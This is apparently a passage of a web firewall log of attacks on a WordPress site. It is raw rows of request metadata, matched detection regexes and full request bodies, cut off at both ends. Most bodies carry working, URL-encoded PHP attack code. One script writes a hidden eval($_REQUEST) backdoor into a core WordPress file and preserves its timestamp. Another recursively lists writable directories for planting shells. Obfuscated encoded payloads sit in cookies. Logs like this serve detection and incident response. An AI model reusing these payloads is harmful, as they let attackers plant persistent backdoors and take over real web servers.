24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:58:31","23.106.46.175","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Yz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2059\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJKbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nYz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:58:33","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\ncontent-length:2082\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 15:58:35","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> OH:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3811\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\n\nOH=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 15:59:13","121.200.216.56","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> EA:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEHRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3811\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\n\nEA=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 15:59:24","92.205.188.156","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Bw:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%2